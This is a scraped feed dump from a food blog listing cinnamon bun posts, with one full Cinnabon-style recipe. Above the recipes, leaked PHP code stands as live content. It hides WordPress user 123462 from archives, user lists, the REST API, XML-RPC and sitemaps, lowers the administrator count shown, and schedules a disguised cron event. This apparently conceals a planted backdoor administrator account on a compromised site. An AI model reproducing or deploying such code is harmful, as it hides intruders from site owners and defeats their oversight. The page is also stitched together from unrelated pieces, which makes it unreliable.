add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );

The post Homemade Cinnamon Buns first appeared on Damn That Looks Good.
]]>
The post Spiced Sticky Buns first appeared on Damn That Looks Good.
]]>
The post Gingerbread Iced Cinnamon Roll first appeared on Damn That Looks Good.
]]>
The post Maple Glazed Cinnamon Rolls first appeared on Damn That Looks Good.
]]>
The post Cinnamon Roll Souffle first appeared on Damn That Looks Good.
]]>The post Bacon Cinnamon Rolls With Maple Glaze first appeared on Damn That Looks Good.
]]>
Photo courtesy of Culinary Concoctions By Peabody.
The post Bacon Cinnamon Rolls With Maple Glaze first appeared on Damn That Looks Good.
]]>The post Secret Recipes: Cinnamon Buns From Cinnabon first appeared on Damn That Looks Good.
]]>
Ingredients
For the Dough:
1 cup whole milk
1 1/4-ounce packet active dry yeast
1/4 cup plus 1/4 teaspoon granulated sugar
4 tablespoons unsalted butter, melted, plus more for the bowl
1 large egg yolk
1 1/2 teaspoons vanilla extract
2 3/4 cups all-purpose flour, plus more if needed
3/4 teaspoon salt
1/2 teaspoon freshly grated nutmeg
For the Filling:
• All-purpose flour, for dusting
• 12 tablespoons unsalted butter, softened, plus more for the pan
• 1/2 cup granulated sugar
• 3 tablespoons ground cinnamon
For the Glaze:
• 2 cups confectioners’ sugar
• 1/3 cup heavy cream
• 4 tablespoons unsalted butter, melted
Directions:
Make the dough: Warm the milk in a medium saucepan over low heat until it reaches about 100. Remove from the heat and sprinkle in the yeast and 1/4 teaspoon sugar (don’t stir). Set aside until foamy, 5 minutes. Whisk in the melted butter, egg yolk and vanilla.
Whisk the flour, the remaining 1/4 cup sugar, the salt and nutmeg in the bowl of a stand mixer. Make a well in the center and pour in the yeast mixture. Mix on low speed with the dough hook until thick and slightly sticky. Knead on medium speed until the dough gathers around the hook, 6 minutes. (Add up to 2 more tablespoons flour if necessary.)
Remove the dough and shape into a ball. Butter the mixer bowl and return the dough to the bowl, turning to coat with butter. Cover with plastic wrap and let rise until doubled, 1 hour 15 minutes.
Roll out the dough, fill and cut into buns (see instructions below). Butter a 9-by-13-inch baking pan; place the buns cut-side down in the pan, leaving space between each. Cover with plastic wrap and let rise until doubled, 40 minutes. Preheat the oven to 325.
Bake the buns until golden brown, about 35 minutes. Cool in the pan 15 minutes. Meanwhile, make the glaze: Sift the confectioners’ sugar into a bowl, then whisk in the cream and melted butter. Transfer the buns to a rack and spoon the glaze on top while still warm.
How to Form Cinnamon Buns
1. On a lightly floured surface, roll the dough into a 12-by-14-inch rectangle with the longer side facing you.
2. Spread with the softened butter, leaving a 1/2-inch border on the far long edge. Mix the sugar and cinnamon; sprinkle over the butter.
3. Brush the unbuttered far edge with water. Roll the dough away from you into a tight cylinder and press on the long edge to seal.
4. Cut the cylinder with a sharp knife to make 6 equal-size buns.
The post Secret Recipes: Cinnamon Buns From Cinnabon first appeared on Damn That Looks Good.
]]>
The post Gooey Cinnamon Buns first appeared on Damn That Looks Good.
]]>
The post Apple Cinnamon Swirl Grilled Cheese Sandwich first appeared on Damn That Looks Good.
]]>
The post Dessert For Breakfast! first appeared on Damn That Looks Good.
]]>The post Homemade Pumpkin Cinnamon Rolls first appeared on Damn That Looks Good.
]]>
Thanks to Kathryn for the photo!
Jacksonville, North Carolina
The post Homemade Pumpkin Cinnamon Rolls first appeared on Damn That Looks Good.
]]>The post The Pretzel Bun first appeared on Damn That Looks Good.
]]>
A glazed cinnamon roll/pretzel combo.
The post The Pretzel Bun first appeared on Damn That Looks Good.
]]>The post The Cinnamon Bunwich first appeared on Damn That Looks Good.
]]>
Sausage, egg and cheese sandwiched inside a glazed cinnamon bun.
Thanks to Adam for the photo!
The post The Cinnamon Bunwich first appeared on Damn That Looks Good.
]]>The post Bacon Cinnamon Roll first appeared on Damn That Looks Good.
]]>
Photo courtesy of SBR Forum.
The post Bacon Cinnamon Roll first appeared on Damn That Looks Good.
]]>